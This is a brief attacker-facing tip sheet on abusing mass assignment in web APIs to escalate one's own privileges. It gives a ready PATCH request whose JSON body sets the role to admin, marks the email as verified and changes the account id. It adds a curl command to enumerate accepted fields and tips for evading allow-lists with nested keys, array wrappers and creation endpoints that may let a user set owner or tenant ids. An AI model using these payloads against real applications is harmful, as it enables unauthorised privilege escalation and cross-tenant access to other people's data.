Mass assignment to escalate your own role

Auto-binding frameworks map every JSON key to a model attribute. If the profile update endpoint does not allow-list fields, you set privileged ones yourself.

PATCH /api/users/me HTTP/1.1
Content-Type: application/json

{"name":"me","role":"admin","email_verified":true,"account_id":1}

Discover accepted fields by diffing a GET response, or by reading the model in client bundles.

# pull field names from a source map or API schema
curl -s https://target/api/users/me | jq 'keys'

Pro note: nested keys often slip past shallow allow-lists, so try {"profile":{"role":"admin"}} and array wrappers. Also test creation endpoints, which are frequently less guarded than updates and may let you set the owner or tenant id directly.